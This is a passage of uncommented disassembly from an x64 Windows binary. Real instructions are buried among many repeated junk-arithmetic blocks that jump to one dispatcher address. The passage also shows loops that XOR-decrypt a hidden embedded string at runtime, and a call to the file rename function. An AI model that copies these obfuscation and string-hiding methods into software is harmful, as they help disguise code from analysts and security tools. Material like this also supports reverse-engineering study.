rol eax, 0x42
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x72280e63
pushf
not eax
add eax, 0xc062ca23
xor eax, 0x90837ce4
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xdb417d24
xor eax, 0xc43dd015
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x854ca5b4
xor eax, 0x9bac6497
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x9a8fef50
xor eax, 0x88ea4bef
rol eax, 0x60
popf
jmp 0x140016e34
mov rcx, qword [r14]
push rax
pushf
mov eax, 0x4186a490
pushf
not eax
add eax, 0xa7d3b49e
xor eax, 0xfd61ed54
rol eax, 0x28
popf
pushf
not eax
add eax, 0x8fee707e
xor eax, 0xe5518758
rol eax, 0xe
popf
pushf
not eax
add eax, 0xd3c987e7
xor eax, 0xcfd8fbf2
rol eax, 0x55
popf
pushf
not eax
add eax, 0xac08ce7f
xor eax, 0x9a7cbe39
rol eax, 0xa4
popf
jmp 0x140016e34
mov rdx, rax
jmp 0x140018539
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov ebx, eax
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x1400185a4
push rax
pushf
mov eax, 0x1e5815c8
pushf
not eax
add eax, 0xed43be6d
xor eax, 0xb83bd8f7
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf2e267bf
xor eax, 0xb1b6bdd1
rol eax, 3
popf
pushf
not eax
add eax, 0xb535f9fb
xor eax, 0xcaeddddf
rol eax, 0x96
popf
pushf
not eax
add eax, 0xac05f243
xor eax, 0xfe804941
rol eax, 0x1a
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xcfccea92
pushf
not eax
add eax, 0x90cd56dd
xor eax, 0x8b2af79b
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xdf756a8d
xor eax, 0x8a26e03b
rol eax, 0xee
popf
jmp 0x140016e34
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001861d
push rax
pushf
mov eax, 0x425caecc
pushf
not eax
add eax, 0xa4d8d809
xor eax, 0xc6c736e2
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa21a5f97
xor eax, 0xa57813e5
rol eax, 0x6d
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xe46396db
pushf
not eax
add eax, 0x91881161
xor eax, 0xf2eac1b8
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xda17306b
xor eax, 0xdbfdbdce
rol eax, 7
popf
pushf
not eax
add eax, 0xd0f633ee
xor eax, 0xea9833d6
rol eax, 0xea
popf
pushf
not eax
add eax, 0x97c84fc6
xor eax, 0xed7dd347
rol eax, 0xfa
popf
jmp 0x140016e34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400186be
push rax
pushf
mov eax, 0xf4ab779a
pushf
not eax
add eax, 0x9a6ffde8
xor eax, 0xb3fe2f75
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xe9b01c3e
xor eax, 0xde92d2a1
rol eax, 0x79
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x5fd1e9a7
pushf
not eax
add eax, 0xf5e9b785
xor eax, 0xa3fd8550
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xe8615816
xor eax, 0xf4a7c518
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xe6b8844f
xor eax, 0xcfd67b74
rol eax, 0xc
popf
jmp 0x140016e34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022c1a
push rax
pushf
mov eax, 0xe378114
pushf
not eax
add eax, 0xc923dd0c
xor eax, 0xe289b383
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xc0701541
xor eax, 0x846cf4ff
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xf3cf92c6
xor eax, 0xac771e84
rol eax, 0x16
popf
jmp 0x140016e34
test ebx, ebx
je 0x1400187fe
push rax
pushf
mov eax, 0x410f2272
pushf
not eax
add eax, 0xb5db01bc
xor eax, 0xbefc7bb5
rol eax, 0x52
popf
pushf
not eax
add eax, 0xf76b68b9
xor eax, 0xd01e3b22
rol eax, 0x62
popf
pushf
not eax
add eax, 0xd2eb65e3
xor eax, 0xcc39d2ed
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x976786e2
xor eax, 0xf72c14aa
rol eax, 0x20
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x75c8963e
pushf
not eax
add eax, 0xe4dd145b
xor eax, 0xc7521899
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x98f5af6c
xor eax, 0xc4bf339d
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x8126bd26
xor eax, 0xc0971eb1
rol eax, 0xb0
popf
jmp 0x140016e34
movups xmm0, xmmword [0x140008720]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [0x140008730]
movups xmmword [rbp - 0x49], xmm1
mov eax, dword [0x140008740]
mov dword [rbp - 0x39], eax
movzx eax, byte [0x140008744]
mov byte [rbp - 0x35], al
xor r8d, r8d
cmp dword [0x14000b098], 2
jl 0x1400188d6
push rax
pushf
mov eax, 0xa9394082
pushf
not eax
add eax, 0xcf5f44a4
xor eax, 0xa9135084
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xb1b1fd39
xor eax, 0xb7ab00b2
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x9333d3ae
xor eax, 0xbd9e4aa6
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xf21e5036
xor eax, 0xa3b63c0e
rol eax, 0x91
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xe404ed9c
pushf
not eax
add eax, 0xcb895dc5
xor eax, 0x8bd3fa84
rol eax, 0x78
popf
pushf
not eax
add eax, 0xc46bd760
xor eax, 0x8c355ea4
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xab598cf7
xor eax, 0xaafd2605
rol eax, 0x65
popf
jmp 0x140016e34
movdqa xmm4, xmmword [0x140008800]
movdqa xmm3, xmmword [0x1400088a0]
movdqa xmm5, xmmword [0x140008860]
movdqa xmm0, xmmword [0x140008890]
movdqa xmmword [rbp - 0x79], xmm0
lea rcx, [rbp - 0x55]
movdqa xmm6, xmmword [0x140008870]
mov edx, dword [rbp - 0x79]
nop word [rax + rax]
push rax
pushf
mov eax, 0x1c7316ec
pushf
not eax
add eax, 0xa7c5ad2b
xor eax, 0xc25c69af
rol eax, 0x53
popf
pushf
not eax
add eax, 0xf79506c9
xor eax, 0xd86943ad
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xb8e27879
xor eax, 0x93a70a58
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x8a2d0ed8
xor eax, 0xb4bdcbf4
rol eax, 0x6e
popf
jmp 0x140016e34
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140018ad9
push rax
pushf
mov eax, 0xf725d87f
pushf
not eax
add eax, 0x9bda6b6d
xor eax, 0x83d61ea5
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xb274c83f
xor eax, 0x849660ef
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xc757a022
xor eax, 0xada182af
rol eax, 0x2f
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xa3e68d45
pushf
not eax
add eax, 0xcf44f65e
xor eax, 0xfdc6f836
rol eax, 0x67
popf
pushf
not eax
add eax, 0xd29f2415
xor eax, 0x99906945
rol eax, 0x74
popf
pushf
not eax
add eax, 0x9838ce10
xor eax, 0xe8a375eb
rol eax, 0x63
popf
pushf
not eax
add eax, 0x8465027c
xor eax, 0xf5b7be25
rol eax, 0x77
popf
jmp 0x140016e34
cmp r8d, 0x25
jge 0x140018b6b
push rax
pushf
mov eax, 0xbb8cc7d5
pushf
not eax
add eax, 0xb19fdb69
xor eax, 0xc39acfa5
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x8d486185
xor eax, 0xb4723a76
rol eax, 0x1f
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xd05a24f3
pushf
not eax
add eax, 0x87128b5d
xor eax, 0x9899fcec
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xadf3497c
xor eax, 0xf5d62b59
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xaa2d934e
xor eax, 0x8dc06d9a
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xd94ae350
xor eax, 0x85c73ba5
rol eax, 0xed
popf
jmp 0x140016e34
movsxd rax, r8d
lea r9, [rbp - 0x59]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0x9677d5fe
pushf
not eax
add eax, 0xf15dbe88
xor eax, 0xf99d6ed6
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xc22c9275
xor eax, 0xf6382fe4
rol eax, 0xba
popf
jmp 0x140016e34
mov eax, 0x7d055a87
pushf
not eax
add eax, 0xdacef901
xor eax, 0xd615398e
rol eax, 0x79
popf
pushf
not eax
add eax, 0xf11bb874
xor eax, 0xb7f7fbd1
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x9fcb5346
xor eax, 0xeb20051e
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x8fea3126
xor eax, 0xaaf7b5aa
rol eax, 0x17
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140018cf5
push rax
pushf
mov eax, 0x2101e6b
pushf
not eax
add eax, 0xd93f9974
xor eax, 0xaf820cb8
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xe3707a91
xor eax, 0x8c0d9ce5
rol eax, 0x12
popf
pushf
not eax
add eax, 0x9d845704
xor eax, 0xb49ec1e4
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf0ec4331
xor eax, 0xa0194dc7
rol eax, 0x70
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xc9967cf1
pushf
not eax
add eax, 0xafffd0fd
xor eax, 0xffe68c57
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xb9e23ce7
xor eax, 0xc12e006d
rol eax, 7
popf
pushf
not eax
add eax, 0xb2a5f7a4
xor eax, 0x8be8c269
rol eax, 0xdf
popf
jmp 0x140016e34
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x31]
call fcn.1400275c5
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140018d83
push rax
pushf
mov eax, 0xab8488ac
pushf
not eax
add eax, 0x9babbbdf
xor eax, 0xf53f6840
rol eax, 0xca
popf
pushf
not eax
add eax, 0xe6efacb8
xor eax, 0x8301e4a3
rol eax, 0x4b
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x6b5fa599
pushf
not eax
add eax, 0xd567505b
xor eax, 0xaf1f1672
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x917b0afc
xor eax, 0xe8d64a57
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9dad1bea
xor eax, 0x8bf78af5
rol eax, 0x74
popf
jmp 0x140016e34
mov rax, qword [rax]
push rax
pushf
mov eax, 0x3d5a3016
pushf
not eax
add eax, 0x9c9fd90f
xor eax, 0x9eee2f8b
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xb64a545a
xor eax, 0x8d7747a9
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xdbe416ef
xor eax, 0x90243559
rol eax, 0x97
popf
jmp 0x140016e34
mov qword [rbp - 0x79], rax
nop dword [rax]
push rax
pushf
mov eax, 0xa3cb2f46
pushf
not eax
add eax, 0xcc950ae8
xor eax, 0xf884b9e8
rol eax, 0x53
popf
pushf
not eax
add eax, 0xe06b22df
xor eax, 0xa0fc044c
rol eax, 0x94
popf
pushf
not eax
add eax, 0xec6420dc
xor eax, 0xa86d3f51
rol eax, 0x9a
popf
jmp 0x140016e34
inc rsi
cmp byte [rax + rsi], 0
jne 0x140018ec2
push rax
pushf
mov eax, 0x6c7907c3
pushf
not eax
add eax, 0xe42364d9
xor eax, 0xdc9afebd
rol eax, 0x23
popf
pushf
not eax
add eax, 0x9e774828
xor eax, 0xfb555469
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x8725ccf7
xor eax, 0x83438c57
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8acb6ca9
xor eax, 0xb5439485
rol eax, 0x88
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xc52765be
pushf
not eax
add eax, 0xef081f9a
xor eax, 0xf70bbce9
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb362b744
xor eax, 0xd61910e8
rol eax, 0x11
popf
jmp 0x140016e34
mov qword [rbp - 0x71], rsi
movaps xmm0, xmmword [rbp - 0x79]
movdqa xmmword [rbp - 0x79], xmm0
lea rcx, [rbp - 0x79]
call fcn.14001d0c5
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 0xf
jbe 0x140018f49
push rax
pushf
mov eax, 0x35d2aa6d
pushf
not eax
add eax, 0xdd28b362
xor eax, 0xabc448b9
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x808658aa
xor eax, 0xd821c6a6
rol eax, 0x85
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xa84c46ee
pushf
not eax
add eax, 0xab4c8e48
xor eax, 0xf839e6f8
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe8498ae6
xor eax, 0xbfe02d86
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xdd7a6b70
xor eax, 0xfe98d3b0
rol eax, 0xae
popf
jmp 0x140016e34
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fd5
push rax
pushf
mov eax, 0x1748bb6f
pushf
not eax
add eax, 0xe03f6084
xor eax, 0xddb7ed76
rol eax, 0x55
popf
pushf
not eax
add eax, 0xb42a685d
xor eax, 0xa9a7c033
rol eax, 0xea
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x612eba33
pushf
not eax
add eax, 0xe38161fa
xor eax, 0xa944b59a
rol eax, 0x60
popf
pushf
not eax
add eax, 0xf92f5aea
xor eax, 0x87686738
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x8037ba1f
xor eax, 0xe35fb2cc
rol eax, 0x17
popf
pushf
not eax
add eax, 0xecdb7570
xor eax, 0xa8b80527
rol eax, 0xb3
popf
jmp 0x140016e34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001909c
push rax
pushf
mov eax, 0xefd81d7d
pushf
not eax
add eax, 0xac0f61ee
xor eax, 0xc07560d5
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xa997796b
xor eax, 0xe1e86d81
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xb7bdcc5c
xor eax, 0xf6bdaf19
rol eax, 0
popf
pushf
not eax
add eax, 0x9566acf6
xor eax, 0x871bdb0d
rol eax, 0x3f
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xc7d0b764
pushf
not eax
add eax, 0xe3a18349
xor eax, 0xe44f9857
rol eax, 0x14
popf
pushf
not eax
add eax, 0x9c1256f3
xor eax, 0xf54d61b2
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xb2248693
xor eax, 0xc6e77087
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x86e224f1
xor eax, 0xd1e3cb52
rol eax, 0x75
popf
jmp 0x140016e34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022c1a
nop
push rax
pushf
mov eax, 0xcd0068c1
pushf
not eax
add eax, 0xcf8644b3
xor eax, 0xc2b53f16
rol eax, 0x35
popf
pushf
not eax
add eax, 0xb9554e5b
xor eax, 0xe9c0378d
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x9d50157c
xor eax, 0x9de83441
rol eax, 0x99
popf
jmp 0x140016e34
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x1400191f2
push rax
pushf
mov eax, 0x4e622e4f
pushf
not eax
add eax, 0xc0ea843b
xor eax, 0xc776f052
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xc1f1185c
xor eax, 0xb90f30a1
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xd1077013
xor eax, 0xaa90e8c5
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xe2d72d23
xor eax, 0xd5cd5c79
rol eax, 0xef
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x495eebaf
pushf
not eax
add eax, 0xd579bce7
xor eax, 0xf8f2e4ff
rol eax, 0x28
popf
pushf
not eax
add eax, 0xe37209bd
xor eax, 0xdbbc4148
rol eax, 0x29
popf
jmp 0x140016e34
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001926b
push rax
pushf
mov eax, 0xe3f39ac
pushf
not eax
add eax, 0xa0423f4a
xor eax, 0xffcdbd5c
rol eax, 0xba
popf
pushf
not eax
add eax, 0xc2dc2eb1
xor eax, 0xb2a4f3cd
rol eax, 0xaa
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x34d5fb00
pushf
not eax
add eax, 0xe70bcece
xor eax, 0x99e5521a
rol eax, 0x70
popf
pushf
not eax
add eax, 0xc7c52993
xor eax, 0xbb295e22
rol eax, 0x26
popf
pushf
not eax
add eax, 0x9bef890c
xor eax, 0xeae690cc
rol eax, 0x91
popf
jmp 0x140016e34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001930c
push rax
pushf
mov eax, 0x9d7c5c9b
pushf
not eax
add eax, 0xaf7ef777
xor eax, 0xaa3d72c8
rol eax, 0x70
popf
pushf
not eax
add eax, 0xa7e399c6
xor eax, 0x9828a8b9
rol eax, 0x84
popf
pushf
not eax
add eax, 0xb8ab8b46
xor eax, 0xc236f752
rol eax, 0x65
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x13cfcfaa
pushf
not eax
add eax, 0xfdca9a3d
xor eax, 0xe2e80baa
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xeb46e388
xor eax, 0xe1868af9
rol eax, 0xa3
popf
jmp 0x140016e34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022c1a
push rax
pushf
mov eax, 0xdf17b8fb
pushf
not eax
add eax, 0xd21cff79
xor eax, 0xf791f6f2
rol eax, 0x60
popf
pushf
not eax
add eax, 0xb121edf3
xor eax, 0x8c8d3d6b
rol eax, 3
popf
jmp 0x140016e34
mov qword [rbp + 7], 0
mov qword [rbp + send], 0xf
mov byte [rbp - 9], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x14001944f
push rax
pushf
mov eax, 0x99f7857f
pushf
not eax
add eax, 0x9623b322
xor eax, 0xb38b4452
rol eax, 0x87
popf
pushf
not eax
add eax, 0x8ce43e0c
xor eax, 0x8604b7d6
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x8b28ae3e
xor eax, 0x9ad46e8f
rol eax, 0x51
popf
pushf
not eax
add eax, 0x82f05cbf
xor eax, 0xb7e75743
rol eax, 0x31
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x43c5226e
pushf
not eax
add eax, 0xcfa03777
xor eax, 0xd0c386c3
rol eax, 0x83
popf
pushf
not eax
add eax, 0xa44ed172
xor eax, 0xbb1f22bb
rol eax, 0x42
popf
pushf
not eax
add eax, 0x9caf8f4f
xor eax, 0xd29b489d
rol eax, 0xab
popf
jmp 0x140016e34
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1400194fd
push rax
pushf
mov eax, 0xfab44041
pushf
not eax
add eax, 0x933e24c4
xor eax, 0x840e9c7c
rol eax, 0x22
popf
pushf
not eax
add eax, 0xa5beca28
xor eax, 0xbbde3df7
rol eax, 0x26
popf
pushf
not eax
add eax, 0xb0e98494
xor eax, 0x8bdf3ad7
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xcb1ce95b
xor eax, 0xb00eb4b4
rol eax, 0xb1
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x5781194f
pushf
not eax
add eax, 0xde0c40b5
xor eax, 0xe194aa8b
rol eax, 0x56
popf
pushf
not eax
add eax, 0xd10e9aed
xor eax, 0xe5bb575d
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xc37deebd
xor eax, 0xb6f99a0c
rol eax, 0x48
popf
jmp 0x140016e34
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400195b1
push rax
pushf
mov eax, 0x6abbd3d0
pushf
not eax
add eax, 0xf2046d9d
xor eax, 0x872320d8
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xda29e778
xor eax, 0xadeaddf1
rol eax, 0xea
popf
pushf
not eax
add eax, 0xc2fc4220
xor eax, 0xfd3143d4
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xba02e37a
xor eax, 0xd7c94118
rol eax, 0x13
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x53c35acb
pushf
not eax
add eax, 0xd6d371d0
xor eax, 0xa42425b4
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xc2dd2530
xor eax, 0xbf4ee788
rol eax, 0x39
popf
pushf
not eax
add eax, 0xccc5302f
xor eax, 0x8e8a9173
rol eax, 0x42
popf
pushf
not eax
add eax, 0xcf342b02
xor eax, 0xb210f34e
rol eax, 0x10
popf
jmp 0x140016e34
mov rcx, r8
push rax
pushf
mov eax, 0xcd771329
pushf
not eax
add eax, 0xb43b362a
xor eax, 0xa7592183
rol eax, 0x83
popf
pushf
not eax
add eax, 0x88ec8d7d
xor eax, 0x8bac2b6c
rol eax, 0xe
popf
pushf
not eax
add eax, 0x923b7035
xor eax, 0xeeffbe31
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xbe36f61c
xor eax, 0xf164f2ff
rol eax, 0xe5
popf
jmp 0x140016e34
call fcn.140022c1a
push rax
pushf
mov eax, 0x4b89be3a
pushf
not eax
add eax, 0xa3de09db
xor eax, 0xcc57ad3f
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xb3c74de6
xor eax, 0xa6a72eb1
rol eax, 0x2a
popf
jmp 0x140016e34
mov qword [r14 + 0x10], 0
mov qword [r14 + 0x18], send
mov byte [r14], 0
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140029f35
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3